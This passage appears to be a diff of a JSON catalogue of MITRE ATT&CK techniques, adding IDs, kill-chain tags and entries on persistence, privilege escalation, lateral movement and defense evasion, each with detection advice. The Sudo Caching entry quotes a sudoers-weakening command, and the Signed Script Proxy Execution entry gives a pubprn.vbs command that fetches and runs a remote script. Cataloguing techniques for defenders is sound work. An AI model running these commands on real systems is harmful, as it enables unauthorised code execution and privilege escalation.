+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "SSL/TLS inspection",
+ "Anti-virus",
+ "Web proxy"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847"
+ },
{
"description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
"value": "New Service - T1050",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1050",
- "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://technet.microsoft.com/en-us/library/cc772408.aspx"
+ ],
+ "external_id": "T1050",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
],
"mitre_data_sources": [
"Windows Registry",
@@ -866,6 +1311,10 @@
"https://attack.mitre.org/wiki/Technique/T1126",
"https://technet.microsoft.com/bb490717.aspx"
],
+ "external_id": "T1126",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters",
@@ -888,6 +1337,10 @@
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf",
"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
],
+ "external_id": "T1145",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"File monitoring"
],
@@ -912,6 +1365,10 @@
"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
],
+ "external_id": "T1186",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process Monitoring"
@@ -923,7 +1380,31 @@
"uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76"
},
{
- "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE is still enabled in Windows 10 and most of Microsoft Office 2016 (a December 2017 patch created a Registry key that disables DDE in Word by default). (Citation: BleepingComputer DDE Disabled in Word Dec 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014) and used to deliver execution via spear phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
+ "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nDetection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Third-party application logs",
+ "value": "Trusted Relationship - T1199",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1199"
+ ],
+ "external_id": "T1199",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "Application Logs",
+ "Authentication logs",
+ "Third-party application logs"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925"
+ },
+ {
+ "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
"value": "Dynamic Data Exchange - T1173",
"meta": {
"refs": [
@@ -932,7 +1413,14 @@
"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
"https://www.contextis.com/blog/comma-separated-vulnerabilities",
"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
- "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+ "https://technet.microsoft.com/library/security/4053440",
+ "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
+ "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
+ "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
+ ],
+ "external_id": "T1173",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
],
"mitre_data_sources": [
"API monitoring",
@@ -948,7 +1436,31 @@
"uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0"
},
{
- "description": "During the boot process, macOS and Linux both execute source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
+ "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments\" (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Combined with tty_tickets being disabled, means adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\n\nDetection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process command-line parameters\n\nEffective Permissions: root\n\nPermissions Required: User",
+ "value": "Sudo Caching - T1206",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1206",
+ "https://www.sudo.ws/",
+ "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
+ ],
+ "external_id": "T1206",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
+ "mitre_data_sources": [
+ "File monitoring",
+ "Process command-line parameters"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "macOS"
+ ]
+ },
+ "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e"
+ },
+ {
+ "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
"value": "Rc.common - T1163",
"meta": {
"refs": [
@@ -956,12 +1468,15 @@
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
+ "external_id": "T1163",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
],
"mitre_platforms": [
- "Linux",
"macOS"
]
},
@@ -989,6 +1504,11 @@
"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
"https://docs.microsoft.com/sysinternals/downloads/sysmon"
],
+ "external_id": "T1055",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"API monitoring",
"Windows Registry",
@@ -1015,6 +1535,10 @@
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://technet.microsoft.com/en-us/library/dn408187.aspx"
],
+ "external_id": "T1131",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"DLL monitoring",
"Windows Registry",
@@ -1037,6 +1561,10 @@
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
"https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
],
+ "external_id": "T1079",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Process use of network",
@@ -1058,6 +1586,11 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1109"
],
+ "external_id": "T1109",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_platforms": [
"Windows"
]
@@ -1073,6 +1606,10 @@
"https://en.wikipedia.org/wiki/Shared%20resource",
"https://technet.microsoft.com/library/cc770880.aspx"
],
+ "external_id": "T1135",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"Process command-line parameters",
@@ -1097,6 +1634,10 @@
"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
],
+ "external_id": "T1084",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"WMI Objects"
],
@@ -1113,6 +1654,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1089"
],
+ "external_id": "T1089",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"API monitoring",
"Anti-virus",
@@ -1136,6 +1681,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1120"
],
+ "external_id": "T1120",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_platforms": [
"Windows"
]
@@ -1150,6 +1699,10 @@
"https://attack.mitre.org/wiki/Technique/T1002",
"https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
],
+ "external_id": "T1002",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"File monitoring",
"Binary file metadata",
@@ -1171,6 +1724,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1087"
],
+ "external_id": "T1087",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process command-line parameters",
@@ -1192,6 +1749,10 @@
"https://attack.mitre.org/wiki/Technique/T1075",
"http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf"
],
+ "external_id": "T1075",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Authentication logs"
],
@@ -1208,6 +1769,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1153"
],
+ "external_id": "T1153",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"File monitoring",
@@ -1228,6 +1793,10 @@
"https://attack.mitre.org/wiki/Technique/T1099",
"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
],
+ "external_id": "T1099",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -1250,6 +1819,10 @@
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
"http://www.blackhillsinfosec.com/?p=4645"
],
+ "external_id": "T1110",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"Authentication logs"
],
@@ -1270,6 +1843,10 @@
"https://technet.microsoft.com/en-us/library/cc732643.aspx",
"https://technet.microsoft.com/en-us/library/cc754820.aspx"
],
+ "external_id": "T1112",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Windows Registry",
"File monitoring",
@@ -1291,6 +1868,10 @@
"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
],
+ "external_id": "T1174",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"DLL monitoring",
"Windows Registry",
@@ -1310,6 +1891,11 @@
"https://attack.mitre.org/wiki/Technique/T1151",
"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
],
+ "external_id": "T1151",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
@@ -1329,6 +1915,10 @@
"https://attack.mitre.org/wiki/Technique/T1113",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
],
+ "external_id": "T1113",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
@@ -1342,6 +1932,34 @@
},
"uuid": "0259baeb-9f63-4c69-bf10-eb038c390688"
},
+ {
+ "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nPermissions Required: User\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.",
+ "value": "Exploitation of Remote Services - T1210",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1210",
+ "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
+ "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
+ "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
+ "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
+ ],
+ "external_id": "T1210",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
+ "mitre_data_sources": [
+ "Windows Error Reporting",
+ "Process Monitoring",
+ "File monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82"
+ },
{
"description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
"value": "Indicator Removal from Tools - T1066",
@@ -1349,6 +1967,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1066"
],
+ "external_id": "T1066",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Process use of network",
"Anti-virus",
@@ -1373,6 +1995,10 @@
"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
"http://msdn.microsoft.com/en-us/library/bb166549.aspx"
],
+ "external_id": "T1042",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Windows Registry",
"Process command-line parameters",
@@ -1384,6 +2010,30 @@
},
"uuid": "68c96494-1a50-403e-8844-69a6af278c68"
},
+ {
+ "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian",
+ "value": "Signed Script Proxy Execution - T1216",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1216",
+ "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
+ "https://github.com/api0cradle/UltimateAppLockerByPassList"
+ ],
+ "external_id": "T1216",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
+ "Process monitoring",
+ "Process command-line parameters"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe"
+ },
{
"description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
"value": "Email Collection - T1114",
@@ -1391,6 +2041,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1114"
],
+ "external_id": "T1114",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"Authentication logs",
"File monitoring",
@@ -1410,6 +2064,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1082"
],
+ "external_id": "T1082",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process command-line parameters",
"Process monitoring"
@@ -1429,6 +2087,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1049"
],
+ "external_id": "T1049",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process command-line parameters",
"Process monitoring"
@@ -1455,6 +2117,11 @@
"https://linux.die.net/man/1/at",
"https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
],
+ "external_id": "T1168",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
@@ -1475,6 +2142,10 @@
"https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
],
+ "external_id": "T1111",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_platforms": [
"Linux",
"macOS",
@@ -1492,6 +2163,10 @@
"http://msdn.microsoft.com/en-us/library/ms682425",
"https://skanthak.homepage.t-online.de/verifier.html"
],
+ "external_id": "T1106",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process monitoring"
@@ -1512,6 +2187,11 @@
"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
"https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
],
+ "external_id": "T1122",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Windows Registry",
"DLL monitoring",
@@ -1532,6 +2212,10 @@
"https://msdn.microsoft.com/en-us/library/ms649012",
"http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/"
],
+ "external_id": "T1115",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"API monitoring"
],
@@ -1551,6 +2235,10 @@
"https://attack.mitre.org/wiki/Technique/T1143",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
],
+ "external_id": "T1143",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"File monitoring"
],
@@ -1561,15 +2249,20 @@
"uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf"
},
{
- "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection\n\nRequires Network: Yes",
+ "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or 